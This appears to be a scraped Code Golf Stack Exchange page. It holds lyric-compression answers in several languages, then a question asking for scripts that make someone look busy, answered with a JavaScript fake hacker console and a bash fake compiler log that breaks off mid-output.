wpJyGDhagRfmNaJWjOt8yZIiIFai/7cMAeKucCTyZpkYmCb/7ogGRwfR1dV0z9wEOoIFo0dudezp ERmcWcJ7X1CUcUsVz17ScmG7T2SbTnooFFINjz7y1yW9i7k9iFTM/afWhI4A/wuqo6jPRezucfGQ g1xcvmEsidxT+jKCaYv3Gh4lvcfMdklUNqqeQG/tMDVrk0pUQjz5CVFcJ5uYRLAPzfwQI5sUKHzO rBZrx/hAC9MPISJPKAQLP4dU3Yy14zL/djogoBxkG1DNRMoPEtwHIZmEPwaELWshCTdS+vF+zI6X ei7BL5bqVhXZdKGqPFjHS0+rQfHUDUfggt/AkIGfV/focklq9IXmqINpS4eroTqzCMLJQpiZiTXm 7jdu1xqm1hftTPEr/VteBOCqKIsx596o+/ZaGRi/opjley/l2bnZi4Z6L+TZsqUqyj4Pfhf4JFiw 9a/kcBffIu2yWmQGgSOeHwcyllCMvL27qtw1+CEKtuya5ITI1oRWUasTSdBWin3XBQePAWEW7dp7 qoiP1osWiicyNTZiYXNlIDE1M2Jhc2VbMF0vKDMwLHtcWzEkKV0vXDIkPSp9L1wsKXstfSslKw== ``` Hex dump (output from `xxd`): ``` 0000000: 278c 350d 3c24 a77d 7b5a f62a f3c0 8543 '.5.<$.}{Z.*...C 0000010: 29b9 d9d2 0dcc 2dfa a1ba 2924 12ca 0866 ).....-...)$...f 0000020: 591e ad52 fada 73ef d7b8 fc97 4361 2d9c Y..R..s.....Ca-. 0000030: 7489 66f8 b500 459d 70c2 9272 1838 5a81 t.f...E.p..r.8Z. 0000040: 17e6 35a2 568c eb7c c992 2220 56a2 ffb7 ..5.V..|.." V... 0000050: 0c01 e2ae 7024 f266 9918 9826 ffee 8806 ....p$.f...&.... 0000060: 4707 d1d5 d574 cfdc 043a 8205 a347 6e75 G....t...:...Gnu 0000070: ece9 1119 9c59 c27b 5f50 9471 4b15 cf5e .....Y.{_P.qK..^ 0000080: d272 61bb 4f64 9b4e 7a28 1452 0d8f 3ef2 .ra.Od.Nz(.R..>. 0000090: d725 bd8b b93d 8854 ccfd a7d6 848e 00ff .%...=.T........ 00000a0: 0baa a3a8 cf45 ecee 71f1 9083 5c5c be61 .....E..q...\\.a 00000b0: 2c89 dc53 fa32 8269 8bf7 1a1e 25bd c7cc ,..S.2.i....%... 00000c0: 7649 5436 aa9e 406f ed30 356b 934a 5442 [[email protected]](/cdn-cgi/l/email-protection) 00000d0: 3cf9 0951 5c27 9b98 44b0 0fcd fc10 239b <..Q\'..D.....#. 00000e0: 1428 7cce ac16 6bc7 f840 0bd3 0f21 224f .(|...k..@...!"O 00000f0: 2804 0b3f 8754 dd8c b5e3 32ff 763a 20a0 (..?.T....2.v: . 0000100: 1c64 1b50 cd44 ca0f 12dc 0721 9984 3f06 .d.P.D.....!..?. 0000110: 842d 6b21 0937 52fa f17e cc8e 977a 2ec1 .-k!.7R..~...z.. 0000120: 2f96 ea56 15d9 74a1 aa3c 58c7 4b4f ab41 /..V..t..<X.KO.A 0000130: f1d4 0d47 e082 dfc0 9081 9f57 f7e8 7249 ...G.......W..rI 0000140: 6af4 85e6 a883 694b 87ab a13a b308 c2c9 j.....iK...:.... 0000150: 4298 9989 35e6 ee37 6ed7 1aa6 d617 ed4c B...5..7n......L 0000160: f12b fd5b 5e04 e0aa 288b 31e7 dea8 fbf6 .+.[^...(.1..... 0000170: 5a19 18bf a298 e57b 2fe5 d9b9 d98b 867a Z......{/......z 0000180: 2fe4 d9b2 a52a ca3e 0f7e 17f8 2458 b0f5 /....*.>.~..$X.. 0000190: afe4 7017 df22 edb2 5a64 0681 239e 1f07 ..p.."..Zd..#... 00001a0: 3296 508c bcbd bbaa dc35 f821 0ab6 ec9a 2.P......5.!.... 00001b0: e484 c8d6 8456 51ab 1349 d056 8a7d d705 .....VQ..I.V.}.. 00001c0: 078f 0161 16ed da7b aa88 8fd6 8b16 8a27 ...a...{.......' 00001d0: 3235 3662 6173 6520 3135 3362 6173 655b 256base 153base[ 00001e0: 305d 2f28 3330 2c7b 5c5b 3124 295d 2f5c 0]/(30,{\[1$)]/\ 00001f0: 3224 3d2a 7d2f 5c2c 297b 2d7d 2b25 2b 2$=*}/\,){-}+%+ ``` As most of the best solutions, this uses a grammar-based approach with string splits and joins to expand the grammar. The grammar has 30 rules and was found by a greedy search. [Answer] # Java, 858 bytes ``` interface a{static void main(String[]A){String b="I just wanna tell you how I'm feeling\nGotta make you understand\n\n",B="Never gonna give you up\nNever gonna let you down\nNever gonna run around and desert you\nNever gonna make you cry\nNever gonna say goodbye\nNever gonna tell a lie and hurt you\n\n",c="We've known each other for so long\nYour heart's been aching but\nYou're too shy to say it\nInside we both know what's been going on\nWe know the game and we're gonna play it\n",C="(Ooh, give you up)\n",d="(Ooh)\nNever gonna give, never gonna give\n(Give you up)\n";System.out.print("We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy\n"+b+B+c+"And if you ask me how I'm feeling\nDon't tell me you're too blind to see\n\n"+B+B+C+C+d+d+"\n"+c+"\n"+b+B+B+B);}} ``` Wow. I didn't really think I could compress this hard. Ungolfed In a human-readable form: ``` interface a { static void main(String[] A) { String b = "I just wanna tell you how I'm feeling\n"+ "Gotta make you understand\n\n"; String B = "Never gonna give you up\n"+ "Never gonna let you down\n"+ "Never gonna run around and desert you\n"+ "Never gonna make you cry\n"+ "Never gonna say goodbye\n"+ "Never gonna tell a lie and hurt you\n\n"; String c = "We've known each other for so long\n"+ "Your heart's been aching but\n"+ "You're too shy to say it\n"+ "Inside we both know what's been going on\n"+ "We know the game and we're gonna play it\n"; String C = "(Ooh, give you up)\n"; String d = "(Ooh)\n"+ "Never gonna give, never gonna give\n"+ "(Give you up)\n"; System.out.print( "We're no strangers to love\n"+ "You know the rules and so do I\n"+ "A full commitment's what I'm thinking of\n"+ "You wouldn't get this from any other guy\n"+ b+ B+ c+ "And if you ask me how I'm feeling\n"+ "Don't tell me you're too blind to see\n\n"+ B+ B+ C+ C+ d+ d+ "\n"+ c+ "\n"+ b+ B+ B+ B ); } } ``` [Answer] **JavaScript, 854 chars (added newlines for "readability")** ``` var a="We're no strangers to love:You know the rules and so do I:A full commitment's what I'm thinking of:You wouldn't get this from any other guy:I just wanna tell you how I'm feeling:Gotta make you understand:Never gonna give you up:Never gonna let you down:Never gonna run around and desert you:Never gonna make you cry:Never gonna say goodbye:Never gonna tell a lie and hurt you:We've known each other for so long:Your heart's been aching but:You're too shy to say it:Inside we both know what's been going on:We know the game and we're gonna play it:And if you ask me how I'm feeling:Don't tell me you're too blind to see:6:7:8:9:10:11:6:7:8:9:10:11:(Ooh, give you up):31:(Ooh):Never gonna give, never gonna give:(Give you up):33:34:35:12:13:14:15:16:4:5:6:7:8:9:10:11:6:7:8:9:10:11:6:7:8:9:10:11".split(':'), i=0,x; while(x=a[i++])console.log(a[x]||x) ``` [Answer] **Naive sh/echo - 810 bytes** ``` #!/bin/sh A="ever gonna" D=" you" B="ive$D up" C="$A give" echo "We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell$D how I'm feeling Gotta make$D understand" f(){ echo " N$C$D up N$A let$D down N$A run around and desert$D N$A make$D cry N$A say goodbye N$A tell a lie and hurt$D" } f g(){ echo " We've known each other for so long Your heart's been aching but You're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it" } g echo "And if$D ask me how I'm feeling Don't tell me$D're too blind to see" f f echo " (Ooh, g$B) (Ooh, g$B) (Ooh) N$C, n$C (G$B) (Ooh) N$C, n$C (G$B)" g echo echo "I just wanna tell$D how I'm feeling Gotta make$D understand" f f f ``` [Answer] ## JavaScript 789 characters My javascript (prints with "document.write()"): ``` eval('f="18927993248999".replace(/1/g,"Were no strangers to love4You6тe rules and so do I4A full commitmentжs what Iжm тinking of4You wouldnжt get тis from any oтer guy4ю8/g,"I just wanna tellйhow Iжm feeling4Gotta makeйunderstand44ю9/g,"Neverгgiveйupвгletйdownвгrun around and desert youвгmakeйcryвгsay goodbyeвгtell a lie and hurt you44ю2/g,"Weжve known each oтer for so long4Your heartжs been aching but4Youжre too shy to say it4Inside we boт6whatжs been going on4We6тe game and weжreгplay it4ю7/g,"And ifйask me how Iжm feeling4Donжt tell me youжre too blind to see44ю3/g,"ц, gяц, gяц)вгgive, neverгgive4(Gяц)вгgive, neverгgive4(Gя4 ют/g,"thюя/g,"iveйup)4юй/g," you юв/g,"4Neverю4/g,"</br>юц/g,"(Oohю6/g," know юг/g," gonna юж/g,"\'");document.write(f);'.replace(/ю/g,"\").replace(/")) ``` I changes some common words and phrases with cyrilic letters and then changed them back with the replace() function. After I shorten the lyrics, I shortened my program with the same method, and execute the code with eval(). [Answer] # Ruby, 741 678 657 627 619 bytes ``` _="12/3400/5/3/200" 28.times{|i|_.gsub!'120=34589%#^*&@!/?><[]|{}:;~'[i],"We? n{strangers] love/>& the rules!s{d{I/A full commitment's}hat:thinking of/>}ouldn't~et this from;ny<guy/+I just}anna [*@/Gotta make* understand/0+=g#=let* down=run;round!desert*=make* cry=say~oodbye=[; lie!hurt*/+/N^+We've&n each<for s{long/>r heart's been;ching but/>?]{shy] say it/Inside}e both&}hat's been~oing on/We& the~ame!we?|play it/+And if*;sk me@/Don't [ me*?]{blind] see/+8899+(Ooh,~#)/+(Ooh)/N%, n%/(G#)/+^give+ive* up+ever|+ you+ know+ how:feeling+;nd +\n+'re+You+ other +tell+ to+~onna +o + w+ I'm + a+ g".split('+')[i]} puts _ ``` This is an iterative symbol expansion. For each of the 28 characters of the string in the first argument to `gsub!`, all occurrences of that character in `_` are replaced by the appropriate section of the second string (separated by `+` characters). [Answer] # Golfscript, ~~708~~ ~~702~~ ~~699~~ 691 bytes ``` "Never gonna ":g; "I just wanna tell you how"" I'm feeling":i" Gotta make you understand"++:j; {n"give you up let you down run around and desert you make you cry say goodbye tell a lie and hurt you"n/{n g@}%}:^;" We've known each other for so long Your heart's been aching but You're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it ":_; "We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy "j ^ _ "And if you ask me how"i" Don't tell me you're too blind to see" ^^ n n "(Ooh, give you up) "."(Ooh) "g"give, never gonna give (Give you up)"++.n\_ j ^^^ ``` [Answer] # [Regenerate](https://github.com/dloscutoff/Esolangs/tree/master/Regenerate), 643 bytes ``` We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy(\nI just wanna tell you( how I'm feeling\n)Gotta make you understand(\n(\nN(ever gonna ))g(ive you up)$4let you down$4run around and desert you$4make you cry$4say goodbye$4tell a lie and hurt you))(\n\nWe've known each other for so long\nYour heart's been aching but\nYou're too shy to s(ay it\n)Inside we both know what's been going on\nWe know the game and we're gonna pl$8)And if you ask me$2Don't tell me you're too blind to see$3$3\n((\n\(Ooh), g$6\))$9($10\)$4give, n$5give\n\(G$6\))$11$7$1$3$3 ``` [Try it here!](https://replit.com/@dloscutoff/regenerate) (I recommend either putting the regex in a file or using the `-i` flag and pasting it on stdin.) ]
[Question] [ **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. Often, I find myself running a script or query that will take a significant amount of time to run. I can leave that script open and enjoy some guilt-free procrastination. Now, what if I could write a script that *seems* to be one of the above scripts to any onlookers, but in looks only? I could put it up on a screen and enjoy *days* of [kitten livestreams](http://new.livestream.com/FosterKittenCam) before anyone realised that all the complicated rigmarole on the screen didn't have anything to do with my actual job. Your challenge is to write this script for me (yes, I'm that lazy). ### A *good* answer will: * Make something appear on the screen that looks like a script is doing work. "Screen" can be terminal, browser, etc. * Be fairly original (yes, we've all seen the neverending progress bar programs) * Survive cursory examination by a technical person ### A *bad* answer will: * Get me fired * Rehash something we all were forwarded in the 90's ### A *stellar* answer might: * Transcend one of the bad bullet points above ([for instance](http://progressquest.com/)) * Survive critical examination * \*gasp\* actually **do** something that's useful or aids in my work shirking Acceptance will be based on votes, with bonus from real-life results. I will actually run these scripts (Linux Mint 16) at work when my screen is visible (meetings and the like) to determine detection. If anyone notices that it's faking, you're out of the running. If someone comments on how hard I'm working, +5 bonus upvotes for you. "Useful" in this case can apply to any coder, but if you're looking for that extra shine on your teacher-bound apple, I'm a full-stack webdev who works in code roughly according to [my tags](https://stackoverflow.com/users/1216976/somekittens-ux2666?tab=tags). Question partially inspired by [this](http://chat.stackoverflow.com/transcript/17?m=6590072#6590072). ## Results Disappointingly, I didn't get any comments either way on these entries. They're all awesome, so you're all winners in my heart. However, Loktar has the most votes by a long shot, so he gets the +15 from the accept. Congrats! [Answer] # JavaScript So I went a little crazy with this. I did it between breaks from working on my GUI to track IP's using Visual Basic. You can access it by going to the super serious domain I made for it tonight as well so you can look busy anywhere **[Gui Hacker](http://guihacker.com)** and fork and create your own from the following sources * [Fiddle](http://jsfiddle.net/G2k3j/) * [CodePen](http://codepen.io/loktar00/details/jbCzt/) * [github](https://github.com/loktar00/guihacker) Basically, if you have this running no one will bother you because they know you are doing some serious stuff. ``` var canvas = document.querySelector(".hacker-3d-shiz"), ctx = canvas.getContext("2d"), canvasBars = document.querySelector(".bars-and-stuff"), ctxBars = canvasBars.getContext("2d"), outputConsole = document.querySelector(".output-console"); canvas.width = (window.innerWidth / 3) * 2; canvas.height = window.innerHeight / 3; canvasBars.width = window.innerWidth / 3; canvasBars.height = canvas.height; outputConsole.style.height = (window.innerHeight / 3) * 2 + 'px'; outputConsole.style.top = window.innerHeight / 3 + 'px' /* Graphics stuff */ function Square(z) { this.width = canvas.width / 2; this.height = canvas.height; z = z || 0; this.points = [ new Point({ x: (canvas.width / 2) - this.width, y: (canvas.height / 2) - this.height, z: z }), new Point({ x: (canvas.width / 2) + this.width, y: (canvas.height / 2) - this.height, z: z }), new Point({ x: (canvas.width / 2) + this.width, y: (canvas.height / 2) + this.height, z: z }), new Point({ x: (canvas.width / 2) - this.width, y: (canvas.height / 2) + this.height, z: z }) ]; this.dist = 0; } Square.prototype.update = function() { for (var p = 0; p < this.points.length; p++) { this.points[p].rotateZ(0.001); this.points[p].z -= 3; if (this.points[p].z < -300) { this.points[p].z = 2700; } this.points[p].map2D(); } } Square.prototype.render = function() { ctx.beginPath(); ctx.moveTo(this.points[0].xPos, this.points[0].yPos); for (var p = 1; p < this.points.length; p++) { if (this.points[p].z > -(focal - 50)) { ctx.lineTo(this.points[p].xPos, this.points[p].yPos); } } ctx.closePath(); ctx.stroke(); this.dist = this.points[this.points.length - 1].z; }; function Point(pos) { this.x = pos.x - canvas.width / 2 || 0; this.y = pos.y - canvas.height / 2 || 0; this.z = pos.z || 0; this.cX = 0; this.cY = 0; this.cZ = 0; this.xPos = 0; this.yPos = 0; this.map2D(); } Point.prototype.rotateZ = function(angleZ) { var cosZ = Math.cos(angleZ), sinZ = Math.sin(angleZ), x1 = this.x * cosZ - this.y * sinZ, y1 = this.y * cosZ + this.x * sinZ; this.x = x1; this.y = y1; } Point.prototype.map2D = function() { var scaleX = focal / (focal + this.z + this.cZ), scaleY = focal / (focal + this.z + this.cZ); this.xPos = vpx + (this.cX + this.x) * scaleX; this.yPos = vpy + (this.cY + this.y) * scaleY; }; // Init graphics stuff var squares = [], focal = canvas.width / 2, vpx = canvas.width / 2, vpy = canvas.height / 2, barVals = [], sineVal = 0; for (var i = 0; i < 15; i++) { squares.push(new Square(-300 + (i * 200))); } //ctx.lineWidth = 2; ctx.strokeStyle = ctxBars.strokeStyle = ctxBars.fillStyle = '#00FF00'; /* fake console stuff */ var commandStart = ['Performing DNS Lookups for', 'Searching ', 'Analyzing ', 'Estimating Approximate Location of ', 'Compressing ', 'Requesting Authorization From : ', 'wget -a -t ', 'tar -xzf ', 'Entering Location ', 'Compilation Started of ', 'Downloading ' ], commandParts = ['Data Structure', 'http://wwjd.com?au&2', 'Texture', 'TPS Reports', ' .... Searching ... ', 'http://zanb.se/?23&88&far=2', 'http://ab.ret45-33/?timing=1ww' ], commandResponses = ['Authorizing ', 'Authorized...', 'Access Granted..', 'Going Deeper....', 'Compression Complete.', 'Compilation of Data Structures Complete..', 'Entering Security Console...', 'Encryption Unsuccesful Attempting Retry...', 'Waiting for response...', '....Searching...', 'Calculating Space Requirements ' ], isProcessing = false, processTime = 0, lastProcess = 0; function render() { ctx.clearRect(0, 0, canvas.width, canvas.height); squares.sort(function(a, b) { return b.dist - a.dist; }); for (var i = 0, len = squares.length; i < len; i++) { squares[i].update(); squares[i].render(); } ctxBars.clearRect(0, 0, canvasBars.width, canvasBars.height); ctxBars.beginPath(); var y = canvasBars.height / 6; ctxBars.moveTo(0, y); for (i = 0; i < canvasBars.width; i++) { var ran = (Math.random() * 20) - 10; if (Math.random() > 0.98) { ran = (Math.random() * 50) - 25 } ctxBars.lineTo(i, y + ran); } ctxBars.stroke(); for (i = 0; i < canvasBars.width; i += 20) { if (!barVals[i]) { barVals[i] = { val: Math.random() * (canvasBars.height / 2), freq: 0.1, sineVal: Math.random() * 100 }; } barVals[i].sineVal += barVals[i].freq; barVals[i].val += Math.sin(barVals[i].sineVal * Math.PI / 2) * 5; ctxBars.fillRect(i + 5, canvasBars.height, 15, -barVals[i].val); } requestAnimationFrame(render); } function consoleOutput() { var textEl = document.createElement('p'); if (isProcessing) { textEl = document.createElement('span'); textEl.textContent += Math.random() + " "; if (Date.now() > lastProcess + processTime) { isProcessing = false; } } else { var commandType = ~~(Math.random() * 4); switch (commandType) { case 0: textEl.textContent = commandStart[~~(Math.random() * commandStart.length)] + commandParts[~~(Math.random() * commandParts.length)]; break; case 3: isProcessing = true; processTime = ~~(Math.random() * 5000); lastProcess = Date.now(); default: textEl.textContent = commandResponses[~~(Math.random() * commandResponses.length)]; break; } } outputConsole.scrollTop = outputConsole.scrollHeight; outputConsole.appendChild(textEl); if (outputConsole.scrollHeight > window.innerHeight) { var removeNodes = outputConsole.querySelectorAll('*'); for (var n = 0; n < ~~(removeNodes.length / 3); n++) { outputConsole.removeChild(removeNodes[n]); } } setTimeout(consoleOutput, ~~(Math.random() * 200)); } render(); consoleOutput(); window.addEventListener('resize', function() { canvas.width = (window.innerWidth / 3) * 2; canvas.height = window.innerHeight / 3; canvasBars.width = window.innerWidth / 3; canvasBars.height = canvas.height; outputConsole.style.height = (window.innerHeight / 3) * 2 + 'px'; outputConsole.style.top = window.innerHeight / 3 + 'px'; focal = canvas.width / 2; vpx = canvas.width / 2; vpy = canvas.height / 2; ctx.strokeStyle = ctxBars.strokeStyle = ctxBars.fillStyle = '#00FF00'; }); ``` ``` @font-face { font-family: 'Source Code Pro'; font-style: normal; font-weight: 400; src: local('Source Code Pro'), local('SourceCodePro-Regular'), url(http://themes.googleusercontent.com/static/fonts/sourcecodepro/v4/mrl8jkM18OlOQN8JLgasDxM0YzuT7MdOe03otPbuUS0.woff) format('woff'); } body { font-family: 'Source Code Pro'; background: #000; color: #00FF00; margin: 0; font-size: 13px; } canvas { position: absolute; top: 0; left: 0; } .bars-and-stuff { left: 66.6%; } .output-console { position: fixed; overflow: hidden; } p { margin: 0 } ``` ``` <canvas class='hacker-3d-shiz'></canvas> <canvas class='bars-and-stuff'></canvas> <div class="output-console"></div> ``` [Answer] # Bash / coreutils Introducing the first ever... **compilation emulator**. With this program, you can have [epic office chair sword battles](http://xkcd.com/303/) any time you like, without even writing any code! ``` #!/bin/bash collect() { while read line;do if [ -d "$line" ];then (for i in "$line"/*;do echo $i;done)|sort -R|collect echo $line elif [[ "$line" == *".h" ]];then echo $line fi done } sse="$(awk '/flags/{print;exit}' </proc/cpuinfo|grep -o 'sse\S*'|sed 's/^/-m/'|xargs)" flags="" pd="\\" while true;do collect <<< /usr/include|cut -d/ -f4-| ( while read line;do if [ "$(dirname "$line")" != "$pd" ];then x=$((RANDOM%8-3)) if [[ "$x" != "-"* ]];then ssef="$(sed 's/\( *\S\S*\)\{'"$x,$x"'\}$//' <<< "$sse")" fi pd="$(dirname "$line")" opt="-O$((RANDOM%4))" if [[ "$((RANDOM%2))" == 0 ]];then pipe=-pipe fi case $((RANDOM%4)) in 0) arch=-m32;; 1) arch="";; *) arch=-m64;; esac if [[ "$((RANDOM%3))" == 0 ]];then gnu="-D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L " fi flags="gcc -w $(xargs -n1 <<< "opt pipe gnu ssef arch"|sort -R|(while read line;do eval echo \$$line;done))" fi if [ -d "/usr/include/$line" ];then echo $flags -shared $(for i in /usr/include/$line/*.h;do cut -d/ -f4- <<< "$i"|sed 's/h$/o/';done) -o "$line"".so" sleep $((RANDOM%2+1)) else line=$(sed 's/h$//' <<< "$line") echo $flags -c $line"c" -o $line"o" sleep 0.$((RANDOM%4)) fi done ) done ``` It uses data from `/usr/include` to create a realistic-looking compilation log. I was too lazy to throw random warnings in, so there's just a `-w` flag. ### Random sample: ``` gcc -w -m64 -pipe -msse -msse2 -msse3 -O1 -c libiptc/xtcshared.c -o libiptc/xtcshared.o gcc -w -m64 -pipe -msse -msse2 -msse3 -O1 -c libiptc/libip6tc.c -o libiptc/libip6tc.o gcc -w -m64 -pipe -msse -msse2 -msse3 -O1 -c libiptc/libxtc.c -o libiptc/libxtc.o gcc -w -m64 -pipe -msse -msse2 -msse3 -O1 -c libiptc/ipt_kernel_headers.c -o libiptc/ipt_kernel_headers.o gcc -w -m64 -pipe -msse -msse2 -msse3 -O1 -c libiptc/libiptc.c -o libiptc/libiptc.o gcc -w -O2 -m64 -pipe -msse -msse2 -msse3 -msse4_1 -msse4_2 -shared libiptc/ipt_kernel_headers.o libiptc/libip6tc.o libiptc/libiptc.o libiptc/libxtc.o libiptc/xtcshared.o -o libiptc.so gcc -w -m64 -pipe -O0 -msse -msse2 -msse3 -msse4_1 -c e2p/e2p.c -o e2p/e2p.o gcc -w -msse -msse2 -msse3 -msse4_1 -m64 -pipe -O1 -shared e2p/e2p.o -o e2p.so gcc -w -pipe -O0 -msse -msse2 -m64 -c spice-client-gtk-2.0/spice-widget-enums.c -o spice-client-gtk-2.0/spice-widget-enums.o gcc -w -pipe -O0 -msse -msse2 -m64 -c spice-client-gtk-2.0/spice-grabsequence.c -o spice-client-gtk-2.0/spice-grabsequence.o gcc -w -pipe -O0 -msse -msse2 -m64 -c spice-client-gtk-2.0/spice-gtk-session.c -o spice-client-gtk-2.0/spice-gtk-session.o gcc -w -pipe -O0 -msse -msse2 -m64 -c spice-client-gtk-2.0/spice-widget.c -o spice-client-gtk-2.0/spice-widget.o gcc -w -pipe -O0 -msse -msse2 -m64 -c spice-client-gtk-2.0/usb-device-widget.c -o spice-client-gtk-2.0/usb-device-widget.o gcc -w -pipe -m64 -msse -msse2 -O1 -shared spice-client-gtk-2.0/spice-grabsequence.o spice-client-gtk-2.0/spice-gtk-session.o spice-client-gtk-2.0/spice-widget-enums.o spice-client-gtk-2.0/spice-widget.o spice-client-gtk-2.0/usb-device-widget.o -o spice-client-gtk-2.0.so gcc -w -pipe -m64 -msse -msse2 -O1 -c search.c -o search.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/path.c -o cairomm-1.0/cairomm/path.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/scaledfont.c -o cairomm-1.0/cairomm/scaledfont.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/fontface.c -o cairomm-1.0/cairomm/fontface.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/quartz_font.c -o cairomm-1.0/cairomm/quartz_font.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/win32_font.c -o cairomm-1.0/cairomm/win32_font.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/refptr.c -o cairomm-1.0/cairomm/refptr.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/cairomm.c -o cairomm-1.0/cairomm/cairomm.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/context.c -o cairomm-1.0/cairomm/context.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/enums.c -o cairomm-1.0/cairomm/enums.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/win32_surface.c -o cairomm-1.0/cairomm/win32_surface.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/pattern.c -o cairomm-1.0/cairomm/pattern.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/types.c -o cairomm-1.0/cairomm/types.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/matrix.c -o cairomm-1.0/cairomm/matrix.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/quartz_surface.c -o cairomm-1.0/cairomm/quartz_surface.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/exception.c -o cairomm-1.0/cairomm/exception.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/device.c -o cairomm-1.0/cairomm/device.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/surface.c -o cairomm-1.0/cairomm/surface.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/xlib_surface.c -o cairomm-1.0/cairomm/xlib_surface.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/fontoptions.c -o cairomm-1.0/cairomm/fontoptions.o gcc -w -O0 -pipe -m64 -msse -msse2 -msse3 -msse4_1 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -c cairomm-1.0/cairomm/region.c -o cairomm-1.0/cairomm/region.o gcc -w -O0 -pipe -m64 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -msse -msse2 -msse3 -msse4_1 -shared cairomm-1.0/cairomm/cairomm.o cairomm-1.0/cairomm/context.o cairomm-1.0/cairomm/device.o cairomm-1.0/cairomm/enums.o cairomm-1.0/cairomm/exception.o cairomm-1.0/cairomm/fontface.o cairomm-1.0/cairomm/fontoptions.o cairomm-1.0/cairomm/matrix.o cairomm-1.0/cairomm/path.o cairomm-1.0/cairomm/pattern.o cairomm-1.0/cairomm/quartz_font.o cairomm-1.0/cairomm/quartz_surface.o cairomm-1.0/cairomm/refptr.o cairomm-1.0/cairomm/region.o cairomm-1.0/cairomm/scaledfont.o cairomm-1.0/cairomm/surface.o cairomm-1.0/cairomm/types.o cairomm-1.0/cairomm/win32_font.o cairomm-1.0/cairomm/win32_surface.o cairomm-1.0/cairomm/xlib_surface.o -o cairomm-1.0/cairomm.so gcc -w -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -msse -O1 -pipe -shared cairomm-1.0/*.o -o cairomm-1.0.so gcc -w -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -msse -O1 -pipe -c ulockmgr.c -o ulockmgr.o gcc -w -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -msse -O1 -pipe -c gshadow.c -o gshadow.o gcc -w -O2 -msse -msse2 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -pipe -c dpkg/string.c -o dpkg/string.o gcc -w -O2 -msse -msse2 -D_GNU_SOURCE=1 -D_REENTRANT -D_POSIX_C_SOURCE=200112L -m64 -pipe -c dpkg/fdio.c -o dpkg/fdio.o gcc -w 